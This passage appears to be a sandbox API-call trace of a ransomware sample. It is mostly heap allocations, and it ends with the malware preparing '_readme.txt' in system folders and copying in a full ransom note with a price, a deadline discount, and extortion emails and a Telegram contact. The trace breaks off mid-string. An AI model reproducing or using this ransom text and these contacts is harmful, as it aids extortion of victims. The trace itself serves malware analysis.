[0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.595] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.596] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.596] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.597] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.598] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0112.598] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.598] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.598] PathFindFileNameW (pszPath="") returned="" [0112.598] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.599] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.599] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.599] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.599] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0112.599] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.599] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0112.599] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.599] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.599] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 